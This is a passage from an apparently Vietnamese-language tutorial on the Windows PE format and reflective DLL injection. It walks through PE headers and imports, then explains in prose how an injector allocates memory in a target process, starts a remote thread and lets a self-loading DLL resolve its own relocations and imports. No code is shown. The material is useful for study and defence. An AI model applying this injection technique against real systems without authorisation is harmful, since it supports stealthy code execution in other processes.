Chú ý rằng công đoạn ghi các raw bytes chỉ là một phần công việc trong việc load. Quá trình load ngoài việc ghi các bytes và xác định địa chỉ sections còn có cả việc bảo vệ bộ nhớ, vân vân và mây mây nữa.
Sử dụng phần mềm PE-bear để xem thử cấu trúc của một PE format:

Phần Header sẽ chứa các thành phần: **DOS Header**, **NT Header**, **File Header**, **Optional Header**.
Click vào DOS Header, có thể thấy rằng có rất nhiều giá trị 0x0. Đó là các RVA.
Ở dưới là các sections. Mỗi section có nhiệm vụ khác nhau và mình sẽ không nói đến ở đây. Có thể chọn vào phần sections header để xem thêm thông tin

Những giá trị VA kia là địa chỉ mà như ta đã nói ở trên.
Phần Optional Header chứa EntryPoint, SizeOfImage và con trỏ tới những cấu trúc dữ liệu import/export.

Một PE có thể sử dụng các DLL, kể cả khi bản thân nó là DLL.

Đây là trong trường hợp PE là một DLL

Trường hợp này mình lấy file `Dll for Beginner.dll` làm ví dụ. Ở đây mình không tạo hàm export nên chỉ có mỗi hàm import là MessageBoxA (có thể kiểm tra mã nguồn)
Vậy là đã cung cấp xong kiến thức cơ bản của phần PE. Tại sao phải học đống này trước? Bởi vì kĩ thuật ta đang xét sẽ tạo ra một loader riêng, chứ không dùng Windows Loader.
Một chút về nội dung: DLL mà ta muốn thực thi sẽ ở trong một vùng độc lập so với không gian địa chỉ của tiến trình mục tiêu, hơn nữa DLL không thể tự động tải chính nó.
Một vài vấn đề: Tất nhiên ta có thể tự tạo một loader độc lập và làm cho nó hoạt động trên một tiến trình từ xa (hoặc tiến trình mục tiêu) nên nó sẽ gồm rất nhiều quá trình từ quá trình này sang quá trình khác.

Giải pháp: DLL đa dụng bởi các hàm xuất của chúng (export function). Một DLL có thể khai báo nhiều hàm với mục đích làm cho tiến trình có thể tải được DLL đó vào bộ nhớ. Bất kì hàm xuất nào được khai báo trong DLL thì đều kèm theo với một RVA đặc biệt. Vậy là ta có thể biết hàm đó ở đâu trong PE trước khi nó được tải vào bộ nhớ. Hàm đó có thể được gọi để thực hiện các hoạt động tải.

Đúng là vậy, và nó vẫn sẽ cần thiết để DLL được tải vào trong bộ nhớ và thực thi (biến toàn cục và biến tĩnh, hàm nội, ...) nhưng liệu ta có thể tự xây dựng một hàm, mà có cả địa chỉ độc lập và thực hiện tất cả các tác vụ tải khong?
Đó là lời giải. Viết một hàm xuất trong DLL cần tải mà hàm đó có địa chỉ độc lập và có khả năng thực hiện các hoạt động tải.
Tổng hợp lại các ý tưởng:
- Ta chèn file Reflected DLL trên một tiến trình từ xa (remote process)
- Ta tìm những địa chỉ raw (có thể dịch là địa chỉ thô) cho hàm reflective
- Ta tạo một luồng từ xa mà có thể thực thi hàm đó trên tiến trình từ xa
- DLL tải chính nó vào bộ nhớ và thực thi entry point.
Hình dưới đây sẽ mô tả rõ hơn:

Ban đầu ta sẽ tải DLL hoặc đọc từ file DLL vào một tiến trình mà ta có thể điều khiển, ở đây là `injector.exe`. `injector.exe` sẽ phân tích Export Directory của DLL (là nơi lưu trữ thông tin về các export function) để tìm hàm Reflective Function hay Reflective Loader. Địa chỉ của hàm này được xác định bằng một RVA. Ở Windows Loader bình thường sẽ xử lý theo thứ tự: relocation, import function, Dllmain() nhưng ở đây DLL sẽ tự làm điều đó thông qua ReflectiveFunction. Tiếp theo là bước cấp phát bộ nhớ trong tiến trình mục tiêu. `injector.exe` sử dụng VirtualAllocEx() để cấp phát bộ nhớ trong `TargetProcess.exe` và sau đó sẽ cấp phát một vùng độc lập (PIC) cho ReflectiveFunction. Sau đó, ReflectiveFunction hay ReflectiveLoader sẽ được gọi, làm các công việc tiếp theo thay thế cho Windows Loader. Đầu tiên, ReflectiveLoader duyệt ngược lại để tìm địa chỉ của PE Header hay địa chỉ đầu tiên của PE. Tiếp theo là bước xử lý relocation (lý do là gì thì đã nói ở trên) và cập nhật địa chỉ RVA, cập nhật lại bảng IAT để trỏ đúng vào các API của `kernel32.dll`. Đến lúc này mọi sections đã được tham chiếu đến VA chính xác và bước cuối cùng là thực thi DllMain().
Vậy tại sao PE lại phụ thuộc vào vị trí (position-dependent) và nó cần loader để có thể thực thi? Như ta đã biết, có rất nhiều RVA mà PE phụ thuộc, và chúng cần điều chỉnh dựa trên vị trí của PE ở trong bộ nhớ. Tuy vậy, vẫn khả thi để ta có thể viết một đoạn code mà có thể được biên dịch ở một chuỗi bytes lý tưởng mà có thể chạy tốt kể cả khi vị trí của chúng có thay đổi trong bộ nhớ, bởi vì ví dụ như không có một hàm xuất nào được sử dụng thì các chuỗi sẽ chỉ được đẩy vào stack thay vì các vùng nhớ tĩnh như `.data`, `.rdata`, thay vào đó ta đẩy từng byte của chuỗi lên runtime. Điều này giúp mã không phụ thuộc vào một địa chỉ cố định và có thể chạy bất kì đâu trong bộ nhớ.
**Ví dụ về một code phụ thuộc vị trí**: Viết một hàm C++ dùng Win32 MessageBoxA API để hiển thị "I do care about where I am before running". Việc sử dụng MessageBoxA API được tải thông qua user32.dll sẽ gây crash nếu nó được **chạy trước khi DLL được load hoàn chỉnh**. MessageBoxA sẽ vẫn ở vị trí trong đường dẫn nội (import directory) với một địa chỉ sai -> boom.
**Giai đoạn code**:
Ta sẽ có 2 modules như sau:
- **Reflective DLL**: DLL mà có chứa một hàm xuất không phụ thuộc vào vị trí mà có thể làm được các tác vụ load trước khi đi vào Dll Entry point.
- **Reflective DLL Injector**: Dll tải chính nó nhưng mà vẫn cần được chèn vào một tiến trình trước đó, cũng như hàm Reflective Function hay Reflective Loader phải được gọi trước. Injector này sẽ giúp thực hiện điều đó.
**Reflective DLL**
Ta tạo một hàm export cho Reflective Loader:

Đầu tiên sẽ là định nghĩa macro, thay vì viết `__declspec(dllexport)` thì sẽ chỉ cần viết `EXTERN_DLL_EXPORT` là sẽ biết đó là hàm export. `extern "C"` để tắt Name Mangling, giúp hàm có thể gọi từ bên ngoài bằng tên gốc.
Bước tiếp theo sẽ là khai báo biến. Luôn nhớ rằng hàm Reflective Function là position-independent nên mọi biến phải là biến trên stack. Các biến stack không kết thúc trong phần mã đã biên dịch (nơi chúng cần được relocate), nhưng chúng luôn được giải quyết bằng cách sử dụng độ lệch tương đối (relative offset) của con trỏ stack. Nói đơn giản hơn là nó có một offset giữa con trỏ stack (rsp) nên không lo về việc nó không thể chạy.
